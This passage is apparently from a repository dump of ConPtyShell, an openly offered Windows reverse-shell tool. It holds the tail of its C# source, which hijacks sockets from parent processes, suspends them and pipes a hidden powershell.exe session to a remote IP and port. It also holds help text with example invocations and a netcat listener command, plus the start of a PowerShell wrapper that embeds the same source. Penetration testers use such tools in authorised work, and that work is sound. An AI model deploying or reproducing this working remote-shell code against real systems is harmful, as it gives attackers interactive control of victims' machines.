Process.GetCurrentProcess(); 1362 | parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); 1363 | if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); 1364 | // try to duplicate the socket for the current process 1365 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess, ref IsSocketOverlapped); 1366 | if (shellSocket == IntPtr.Zero && parentProcess != null) 1367 | { 1368 | // if no sockets are found in the current process we try to hijack our current parent process socket 1369 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess, ref IsSocketOverlapped); 1370 | if (shellSocket == IntPtr.Zero && grandParentProcess != null) 1371 | { 1372 | // damn, even the parent process has no usable sockets, let's try a last desperate attempt in the grandparent process 1373 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(grandParentProcess, ref IsSocketOverlapped); 1374 | if (shellSocket == IntPtr.Zero) 1375 | { 1376 | throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); 1377 | } 1378 | else 1379 | { 1380 | grandParentSocketInherited = true; 1381 | } 1382 | } 1383 | else 1384 | { 1385 | // gotcha a usable socket from the parent process, let's see if the grandParent also use the socket 1386 | parentSocketInherited = true; 1387 | if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); 1388 | } 1389 | } 1390 | else 1391 | { 1392 | // the current process got a usable socket, let's see if the parents use the socket 1393 | if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); 1394 | if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); 1395 | } 1396 | } 1397 | else 1398 | { 1399 | shellSocket = connectRemote(remoteIp, remotePort); 1400 | if (shellSocket == IntPtr.Zero) 1401 | { 1402 | output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); 1403 | return output; 1404 | } 1405 | TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); 1406 | } 1407 | if (GetConsoleWindow() == IntPtr.Zero) 1408 | { 1409 | AllocConsole(); 1410 | ShowWindow(GetConsoleWindow(), SW_HIDE); 1411 | newConsoleAllocated = true; 1412 | } 1413 | // debug code for checking handle duplication 1414 | // Console.WriteLine("debug: Creating pseudo console..."); 1415 | // Thread.Sleep(180000); 1416 | // return ""; 1417 | int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); 1418 | if (pseudoConsoleCreationResult != 0) 1419 | { 1420 | output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); 1421 | return output; 1422 | } 1423 | childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); 1424 | } 1425 | else 1426 | { 1427 | if (upgradeShell) 1428 | { 1429 | output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); 1430 | return output; 1431 | } 1432 | shellSocket = connectRemote(remoteIp, remotePort); 1433 | if (shellSocket == IntPtr.Zero) 1434 | { 1435 | output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); 1436 | return output; 1437 | } 1438 | Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); 1439 | STARTUPINFO sInfo = new STARTUPINFO(); 1440 | sInfo.cb = Marshal.SizeOf(sInfo); 1441 | sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; 1442 | sInfo.hStdInput = InputPipeRead; 1443 | sInfo.hStdOutput = OutputPipeWrite; 1444 | sInfo.hStdError = OutputPipeWrite; 1445 | CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); 1446 | } 1447 | // Note: We can close the handles to the PTY-end of the pipes here 1448 | // because the handles are dup'ed into the ConHost and will be released 1449 | // when the ConPTY is destroyed. 1450 | if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead); 1451 | if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite); 1452 | if (upgradeShell) { 1453 | // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process 1454 | if (parentSocketInherited) NtSuspendProcess(parentProcess.Handle); 1455 | if (grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); 1456 | if (!IsSocketOverlapped) SocketHijacking.SetSocketBlockingMode(shellSocket, 1); 1457 | } 1458 | //Threads have better performance than Tasks 1459 | Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket, IsSocketOverlapped); 1460 | Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess, IsSocketOverlapped); 1461 | // wait for the child process until exit 1462 | WaitForSingleObject(childProcessInfo.hProcess, INFINITE); 1463 | //cleanup everything 1464 | thThreadReadPipeWriteSocket.Abort(); 1465 | thReadSocketWritePipe.Abort(); 1466 | if (upgradeShell) 1467 | { 1468 | if (!IsSocketOverlapped) 1469 | { 1470 | // cancelling the event selection for the socket 1471 | WSAEventSelect(shellSocket, IntPtr.Zero, 0); 1472 | SocketHijacking.SetSocketBlockingMode(shellSocket, 0); 1473 | } 1474 | if (parentSocketInherited) NtResumeProcess(parentProcess.Handle); 1475 | if (grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); 1476 | } 1477 | closesocket(shellSocket); 1478 | RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); 1479 | if (newConsoleAllocated) 1480 | FreeConsole(); 1481 | CloseHandle(childProcessInfo.hThread); 1482 | CloseHandle(childProcessInfo.hProcess); 1483 | if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); 1484 | if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite); 1485 | if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead); 1486 | output += "ConPtyShell kindly exited.\r\n"; 1487 | return output; 1488 | } 1489 | } 1490 | 1491 | public static class ConPtyShellMainClass 1492 | { 1493 | private static string help = @" 1494 | 1495 | ConPtyShell - Fully Interactive Reverse Shell for Windows 1496 | Author: splinter_code 1497 | License: MIT 1498 | Source: https://github.com/antonioCoco/ConPtyShell 1499 | 1500 | ConPtyShell - Fully interactive reverse shell for Windows 1501 | 1502 | Properly set the rows and cols values. You can retrieve it from 1503 | your terminal with the command ""stty size"". 1504 | 1505 | You can avoid to set rows and cols values if you run your listener 1506 | with the following command: 1507 | stty raw -echo; (stty size; cat) | nc -lvnp 3001 1508 | 1509 | If you want to change the console size directly from powershell 1510 | you can paste the following commands: 1511 | $width=80 1512 | $height=24 1513 | $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) 1514 | $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) 1515 | 1516 | Usage: 1517 | ConPtyShell.exe remote_ip remote_port [rows] [cols] [commandline] 1518 | 1519 | Positional arguments: 1520 | remote_ip The remote ip to connect 1521 | remote_port The remote port to connect 1522 | [rows] Rows size for the console 1523 | Default: ""24"" 1524 | [cols] Cols size for the console 1525 | Default: ""80"" 1526 | [commandline] The commandline of the process that you are going to interact 1527 | Default: ""powershell.exe"" 1528 | 1529 | Examples: 1530 | Spawn a reverse shell 1531 | ConPtyShell.exe 10.0.0.2 3001 1532 | 1533 | Spawn a reverse shell with specific rows and cols size 1534 | ConPtyShell.exe 10.0.0.2 3001 30 90 1535 | 1536 | Spawn a reverse shell (cmd.exe) with specific rows and cols size 1537 | ConPtyShell.exe 10.0.0.2 3001 30 90 cmd.exe 1538 | 1539 | Upgrade your current shell with specific rows and cols size 1540 | ConPtyShell.exe upgrade shell 30 90 1541 | 1542 | "; 1543 | 1544 | private static bool HelpRequired(string param) 1545 | { 1546 | return param == "-h" || param == "--help" || param == "/?"; 1547 | } 1548 | 1549 | private static void CheckArgs(string[] arguments) 1550 | { 1551 | if (arguments.Length < 2) 1552 | throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); 1553 | } 1554 | 1555 | private static void DisplayHelp() 1556 | { 1557 | Console.Out.Write(help); 1558 | } 1559 | 1560 | private static string CheckRemoteIpArg(string ipString) 1561 | { 1562 | IPAddress address; 1563 | if (!IPAddress.TryParse(ipString, out address)) 1564 | throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString); 1565 | return ipString; 1566 | } 1567 | 1568 | private static int CheckInt(string arg) 1569 | { 1570 | int ret = 0; 1571 | if (!Int32.TryParse(arg, out ret)) 1572 | throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg); 1573 | return ret; 1574 | } 1575 | 1576 | private static uint ParseRows(string[] arguments) 1577 | { 1578 | uint rows = 24; 1579 | if (arguments.Length > 2) 1580 | rows = (uint)CheckInt(arguments[2]); 1581 | return rows; 1582 | } 1583 | 1584 | private static uint ParseCols(string[] arguments) 1585 | { 1586 | uint cols = 80; 1587 | if (arguments.Length > 3) 1588 | cols = (uint)CheckInt(arguments[3]); 1589 | return cols; 1590 | } 1591 | 1592 | private static string ParseCommandLine(string[] arguments) 1593 | { 1594 | string commandLine = "powershell.exe"; 1595 | if (arguments.Length > 4) 1596 | commandLine = arguments[4]; 1597 | return commandLine; 1598 | } 1599 | 1600 | public static string ConPtyShellMain(string[] args) 1601 | { 1602 | string output = ""; 1603 | if (args.Length == 1 && HelpRequired(args[0])) 1604 | { 1605 | DisplayHelp(); 1606 | } 1607 | else 1608 | { 1609 | string remoteIp = ""; 1610 | int remotePort = 0; 1611 | bool upgradeShell = false; 1612 | try 1613 | { 1614 | CheckArgs(args); 1615 | if (args[0].Contains("upgrade")) 1616 | upgradeShell = true; 1617 | else 1618 | { 1619 | remoteIp = CheckRemoteIpArg(args[0]); 1620 | remotePort = CheckInt(args[1]); 1621 | } 1622 | uint rows = ParseRows(args); 1623 | uint cols = ParseCols(args); 1624 | string commandLine = ParseCommandLine(args); 1625 | output = ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); 1626 | } 1627 | catch (Exception e) 1628 | { 1629 | Console.WriteLine("\n" + e.ToString() + "\n"); 1630 | } 1631 | } 1632 | return output; 1633 | } 1634 | } 1635 | 1636 | 1637 | class MainClass 1638 | { 1639 | static void Main(string[] args) 1640 | { 1641 | Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); 1642 | } 1643 | } -------------------------------------------------------------------------------- /Invoke-ConPtyShell.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-ConPtyShell 2 | { 3 | <# 4 | .SYNOPSIS 5 | ConPtyShell - Fully Interactive Reverse Shell for Windows 6 | Author: splinter_code 7 | License: MIT 8 | Source: https://github.com/antonioCoco/ConPtyShell 9 | 10 | .DESCRIPTION 11 | ConPtyShell - Fully interactive reverse shell for Windows 12 | 13 | Properly set the rows and cols values. You can retrieve it from 14 | your terminal with the command "stty size". 15 | 16 | You can avoid to set rows and cols values if you run your listener 17 | with the following command: 18 | stty raw -echo; (stty size; cat) | nc -lvnp 3001 19 | 20 | If you want to change the console size directly from powershell 21 | you can paste the following commands: 22 | $width=80 23 | $height=24 24 | $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) 25 | $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) 26 | 27 | 28 | .PARAMETER RemoteIp 29 | The remote ip to connect 30 | .PARAMETER RemotePort 31 | The remote port to connect 32 | .PARAMETER Rows 33 | Rows size for the console 34 | Default: "24" 35 | .PARAMETER Cols 36 | Cols size for the console 37 | Default: "80" 38 | .PARAMETER CommandLine 39 | The commandline of the process that you are going to interact 40 | Default: "powershell.exe" 41 | 42 | .EXAMPLE 43 | PS>Invoke-ConPtyShell 10.0.0.2 3001 44 | 45 | Description 46 | ----------- 47 | Spawn a reverse shell 48 | 49 | .EXAMPLE 50 | PS>Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 30 -Cols 90 51 | 52 | Description 53 | ----------- 54 | Spawn a reverse shell with specific rows and cols size 55 | 56 | .EXAMPLE 57 | PS>Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 30 -Cols 90 -CommandLine cmd.exe 58 | 59 | Description 60 | ----------- 61 | Spawn a reverse shell (cmd.exe) with specific rows and cols size 62 | 63 | .EXAMPLE 64 | PS>Invoke-ConPtyShell -Upgrade -Rows 30 -Cols 90 65 | 66 | Description 67 | ----------- 68 | Upgrade your current shell with specific rows and cols size 69 | 70 | #> 71 | Param 72 | ( 73 | [Parameter(Position = 0)] 74 | [String] 75 | $RemoteIp, 76 | 77 | [Parameter(Position = 1)] 78 | [String] 79 | $RemotePort, 80 | 81 | [Parameter()] 82 | [String] 83 | $Rows = "24", 84 | 85 | [Parameter()] 86 | [String] 87 | $Cols = "80", 88 | 89 | [Parameter()] 90 | [String] 91 | $CommandLine = "powershell.exe", 92 | 93 | [Parameter()] 94 | [Switch] 95 | $Upgrade 96 | ) 97 | 98 | if( $PSBoundParameters.ContainsKey('Upgrade') ) { 99 | $RemoteIp = "upgrade" 100 | $RemotePort = "shell" 101 | } 102 | else{ 103 | 104 | if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) { 105 | throw "RemoteIp missing parameter" 106 | } 107 | 108 | if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) { 109 | throw "RemotePort missing parameter" 110 | } 111 | } 112 | $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) 113 | Add-Type -TypeDefinition $Source -Language CSharp; 114 | $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) 115 | Write-Output $output 116 | } 117 | 118 | $Source = @" 119 | 120 | using System; 121 | using System.IO; 122 | using System.Text; 123 | using System.Threading; 124 | using System.Net; 125 | using System.Net.Sockets; 126 | using System.Net.NetworkInformation; 127 | using System.Runtime.InteropServices; 128 | using System.Diagnostics; 129 | using System.Collections.Generic; 130 | 131 | public class ConPtyShellException : Exception 132 | { 133 | private const string error_string = "[-] ConPtyShellException: "; 134 | 135 | public ConPtyShellException() { } 136 | 137 | public ConPtyShellException(string message) : base(error_string + message) { } 138 | } 139 | 140 | public class DeadlockCheckHelper 141 | { 142 | 143 | private bool deadlockDetected; 144 | private IntPtr targetHandle; 145 | 146 | private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); 147 | 148 | [DllImport("kernel32.dll")] 149 | private static extern bool CloseHandle(IntPtr hObject); 150 | 151 | [DllImport("kernel32.dll", SetLastError = true)] 152 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 153 | 154 | [DllImport("Kernel32.dll", SetLastError = true)] 155 | private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); 156 | 157 | private uint ThreadCheckDeadlock(uint threadParams) 158 | { 159 | IntPtr objPtr = IntPtr.Zero; 160 | objPtr = SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); 161 | this.deadlockDetected = false; 162 | if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr); 163 | return 0; 164 | } 165 | 166 | public bool CheckDeadlockDetected(IntPtr tHandle) 167 | { 168 | this.deadlockDetected = true; 169 | this.targetHandle = tHandle; 170 | LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); 171 | IntPtr hThread = IntPtr.Zero; 172 | uint threadId = 0; 173 | //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... 174 | hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); 175 | WaitForSingleObject(hThread, 1500); 176 | //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. 177 | //just some waste of threads :( 178 | CloseHandle(hThread); 179 | return this.deadlockDetected; 180 | } 181 | } 182 | 183 | public static class SocketHijacking 184 | { 185 | 186 | private const uint NTSTATUS_SUCCESS = 0x00000000; 187 | private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; 188 | private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; 189 | private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; 190 | private const int NTSTATUS_PENDING = 0x00000103; 191 | private const int WSA_FLAG_OVERLAPPED = 0x1; 192 | private const int DUPLICATE_SAME_ACCESS = 0x2; 193 | private const int SystemHandleInformation = 16; 194 | private const int PROCESS_DUP_HANDLE = 0x0040; 195 | private const int SIO_TCP_INFO = unchecked((int)0xD8000027); 196 | private const int SG_UNCONSTRAINED_GROUP = 0x1; 197 | private const int SG_CONSTRAINED_GROUP = 0x2; 198 | private const uint IOCTL_AFD_GET_CONTEXT = 0x12043; 199 | private const int EVENT_ALL_ACCESS = 0x1f0003; 200 | private const int SynchronizationEvent = 1; 201 | private const UInt32 INFINITE = 0xFFFFFFFF; 202 | 203 | 204 | private enum SOCKET_STATE : uint 205 | { 206 | SocketOpen = 0, 207 | SocketBound = 1, 208 | SocketBoundUdp = 2, 209 | SocketConnected = 3, 210 | SocketClosed = 3 211 | } 212 | 213 | private enum AFD_GROUP_TYPE : uint 214 | { 215 | GroupTypeNeither = 0, 216 | GroupTypeConstrained = SG_CONSTRAINED_GROUP, 217 | GroupTypeUnconstrained = SG_UNCONSTRAINED_GROUP 218 | } 219 | 220 | public enum OBJECT_INFORMATION_CLASS : int 221 | { 222 | ObjectBasicInformation = 0, 223 | ObjectNameInformation = 1, 224 | ObjectTypeInformation = 2, 225 | ObjectAllTypesInformation = 3, 226 | ObjectHandleInformation = 4 227 | } 228 | 229 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 230 | private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO 231 | { 232 | public ushort UniqueProcessId; 233 | public ushort CreatorBackTraceIndex; 234 | public byte ObjectTypeIndex; 235 | public byte HandleAttributes; 236 | public ushort HandleValue; 237 | public IntPtr Object; 238 | public IntPtr GrantedAccess; 239 | } 240 | 241 | [StructLayout(LayoutKind.Sequential)] 242 | private struct GENERIC_MAPPING 243 | { 244 | public int GenericRead; 245 | public int GenericWrite; 246 | public int GenericExecute; 247 | public int GenericAll; 248 | } 249 | 250 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 251 | private struct OBJECT_TYPE_INFORMATION_V2 252 | { 253 | public UNICODE_STRING TypeName; 254 | public uint TotalNumberOfObjects; 255 | public uint TotalNumberOfHandles; 256 | public uint TotalPagedPoolUsage; 257 | public uint TotalNonPagedPoolUsage; 258 | public uint TotalNamePoolUsage; 259 | public uint TotalHandleTableUsage; 260 | public uint HighWaterNumberOfObjects;// PeakObjectCount; 261 | public uint HighWaterNumberOfHandles;// PeakHandleCount; 262 | public uint HighWaterPagedPoolUsage; 263 | public uint HighWaterNonPagedPoolUsage; 264 | public uint HighWaterNamePoolUsage; 265 | public uint HighWaterHandleTableUsage; 266 | public uint InvalidAttributes; 267 | public GENERIC_MAPPING GenericMapping; 268 | public uint ValidAccessMask; 269 | public byte SecurityRequired;//bool 270 | public byte MaintainHandleCount;//bool 271 | public byte TypeIndex; 272 | public byte ReservedByte; 273 | public uint PoolType; 274 | public uint DefaultPagedPoolCharge;// PagedPoolUsage; 275 | public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage; 276 | } 277 | 278 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 279 | private struct OBJECT_NAME_INFORMATION 280 | { 281 | public UNICODE_STRING Name; 282 | } 283 | 284 | [StructLayout(LayoutKind.Sequential)] 285 | private struct UNICODE_STRING 286 | { 287 | public ushort Length; 288 | public ushort MaximumLength; 289 | public IntPtr Buffer; 290 | } 291 | 292 | [StructLayout(LayoutKind.Sequential)] 293 | private struct WSAData 294 | { 295 | public short wVersion; 296 | public short wHighVersion; 297 | public short iMaxSockets; 298 | public short iMaxUdpDg; 299 | public IntPtr lpVendorInfo; 300 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] 301 | public string szDescription; 302 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] 303 | public string szSystemStatus; 304 | } 305 | 306 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 307 | private struct WSAPROTOCOLCHAIN 308 | { 309 | public int ChainLen; 310 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] 311 | public uint[] ChainEntries; 312 | } 313 | 314 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 315 | private struct WSAPROTOCOL_INFO 316 | { 317 | public uint dwServiceFlags1; 318 | public uint dwServiceFlags2; 319 | public uint dwServiceFlags3; 320 | public uint dwServiceFlags4; 321 | public uint dwProviderFlags; 322 | public Guid ProviderId; 323 | public uint dwCatalogEntryId; 324 | public WSAPROTOCOLCHAIN ProtocolChain; 325 | public int iVersion; 326 | public int iAddressFamily; 327 | public int iMaxSockAddr; 328 | public int iMinSockAddr; 329 | public int iSocketType; 330 | public int iProtocol; 331 | public int iProtocolMaxOffset; 332 | public int iNetworkByteOrder; 333 | public int iSecurityScheme; 334 | public uint dwMessageSize; 335 | public uint dwProviderReserved; 336 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] 337 | public string szProtocol; 338 | } 339 | 340 | [StructLayout(LayoutKind.Sequential)] 341 | private struct SOCKADDR_IN 342 | { 343 | public short sin_family; 344 | public short sin_port; 345 | public uint sin_addr; 346 | public long sin_zero; 347 | } 348 | 349 | [StructLayout(LayoutKind.Sequential)] 350 | private struct TCP_INFO_v0 351 | { 352 | public TcpState State; 353 | public UInt32 Mss; 354 | public UInt64 ConnectionTimeMs; 355 | public byte TimestampsEnabled; 356 | public UInt32 RttUs; 357 | public UInt32 MinRttUs; 358 | public UInt32 BytesInFlight; 359 | public UInt32 Cwnd; 360 | public UInt32 SndWnd; 361 | public UInt32 RcvWnd; 362 | public UInt32 RcvBuf; 363 | public UInt64 BytesOut; 364 | public UInt64 BytesIn; 365 | public UInt32 BytesReordered; 366 | public UInt32 BytesRetrans; 367 | public UInt32 FastRetrans; 368 | public UInt32 DupAcksIn; 369 | public UInt32 TimeoutEpisodes; 370 | public byte SynRetrans; 371 | } 372 | 373 | [StructLayout(LayoutKind.Sequential)] 374 | private struct linger 375 | { 376 | public UInt16 l_onoff; 377 | public UInt16 l_linger; 378 | } 379 | 380 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 381 | private struct IO_STATUS_BLOCK 382 | { 383 | public int status; 384 | public IntPtr information; 385 | } 386 | 387 | [StructLayout(LayoutKind.Sequential)] 388 | private struct SOCK_SHARED_INFO 389 | { 390 | public SOCKET_STATE State; 391 | public Int32 AddressFamily; 392 | public Int32 SocketType; 393 | public Int32 Protocol; 394 | public Int32 LocalAddressLength; 395 | public Int32 RemoteAddressLength; 396 | 397 | // Socket options controlled by getsockopt(), setsockopt(). 398 | public linger LingerInfo; 399 | public UInt32 SendTimeout; 400 | public UInt32 ReceiveTimeout; 401 | public UInt32 ReceiveBufferSize; 402 | public UInt32 SendBufferSize; 403 | /* Those are the bits in the SocketProerty, proper order: 404 | Listening; 405 | Broadcast; 406 | Debug; 407 | OobInline; 408 | ReuseAddresses; 409 | ExclusiveAddressUse; 410 | NonBlocking; 411 | DontUseWildcard; 412 | ReceiveShutdown; 413 | SendShutdown; 414 | ConditionalAccept; 415 | */ 416 | public ushort SocketProperty; 417 | // Snapshot of several parameters passed into WSPSocket() when creating this socket 418 | public UInt32 CreationFlags; 419 | public UInt32 CatalogEntryId; 420 | public UInt32 ServiceFlags1; 421 | public UInt32 ProviderFlags; 422 | public UInt32 GroupID; 423 | public AFD_GROUP_TYPE GroupType; 424 | public Int32 GroupPriority; 425 | // Last error set on this socket 426 | public Int32 LastError; 427 | // Info stored for WSAAsyncSelect() 428 | public IntPtr AsyncSelecthWnd; 429 | public UInt32 AsyncSelectSerialNumber; 430 | public UInt32 AsyncSelectwMsg; 431 | public Int32 AsyncSelectlEvent; 432 | public Int32 DisabledAsyncSelectEvents; 433 | } 434 | 435 | [StructLayout(LayoutKind.Sequential)] 436 | private struct SOCKADDR 437 | { 438 | public UInt16 sa_family; 439 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 14)] 440 | public byte[] sa_data; 441 | } 442 | 443 | [StructLayout(LayoutKind.Sequential)] 444 | private struct SOCKET_CONTEXT 445 | { 446 | public SOCK_SHARED_INFO SharedData; 447 | public UInt32 SizeOfHelperData; 448 | public UInt32 Padding; 449 | public SOCKADDR LocalAddress; 450 | public SOCKADDR RemoteAddress; 451 | // Helper Data - found out with some reversing 452 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 24)] 453 | public byte[] HelperData; 454 | } 455 | 456 | private struct SOCKET_BYTESIN 457 | { 458 | public IntPtr handle; 459 | public UInt64 BytesIn; 460 | } 461 | 462 | 463 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 464 | private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); 465 | 466 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] 467 | private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags); 468 | 469 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] 470 | private static extern Int32 WSAGetLastError(); 471 | 472 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] 473 | private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); 474 | 475 | // WSAIoctl1 implementation specific for SIO_TCP_INFO control code 476 | [DllImport("Ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "WSAIoctl")] 477 | public static extern int WSAIoctl1(IntPtr s, int dwIoControlCode, ref UInt32 lpvInBuffer, int cbInBuffer, IntPtr lpvOutBuffer, int cbOutBuffer, ref int lpcbBytesReturned, IntPtr lpOverlapped, IntPtr lpCompletionRoutine); 478 | 479 | [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 480 | private static extern int closesocket(IntPtr s); 481 | 482 | [DllImport("kernel32.dll", SetLastError = true)] 483 | private static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId); 484 | 485 | [DllImport("kernel32.dll", SetLastError = true)] 486 | [return: MarshalAs(UnmanagedType.Bool)] 487 | private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 488 | 489 | [DllImport("kernel32.dll")] 490 | private static extern bool CloseHandle(IntPtr hObject); 491 | 492 | [DllImport("kernel32.dll")] 493 | private static extern IntPtr GetCurrentProcess(); 494 | 495 | [DllImport("ntdll.dll")] 496 | private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength); 497 | 498 | [DllImport("ntdll.dll")] 499 | private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); 500 | 501 | [DllImport("kernel32.dll", SetLastError = true)] 502 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 503 | 504 | [DllImport("ntdll.dll")] 505 | private static extern int NtCreateEvent(ref IntPtr EventHandle, int DesiredAccess, IntPtr ObjectAttributes, int EventType, bool InitialState); 506 | 507 | // NtDeviceIoControlFile1 implementation specific for IOCTL_AFD_GET_CONTEXT IoControlCode 508 | [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")] 509 | private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength); 510 | 511 | [DllImport("Ws2_32.dll")] 512 | public static extern int ioctlsocket(IntPtr s, int cmd, ref int argp); 513 | 514 | //helper method with "dynamic" buffer allocation 515 | private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) 516 | { 517 | if (infoLength == 0) 518 | infoLength = 0x10000; 519 | IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); 520 | while (true) 521 | { 522 | uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); 523 | infoLength = infoLength * 2; 524 | if (result == NTSTATUS_SUCCESS) 525 | return infoPtr; 526 | Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful 527 | if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) 528 | { 529 | //throw new Exception("Unhandled NtStatus " + result); 530 | return IntPtr.Zero; 531 | } 532 | infoPtr = Marshal.AllocHGlobal(infoLength); 533 | } 534 | } 535 | 536 | private static IntPtr QueryObjectTypesInfo() 537 | { 538 | IntPtr 